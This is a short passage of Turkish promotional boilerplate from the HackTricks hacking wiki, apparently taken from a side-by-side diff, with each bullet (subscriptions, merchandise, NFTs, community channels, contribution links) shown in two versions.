* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**]'u takip edin(https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

Some files were not shown because too many files have changed in this diff Show more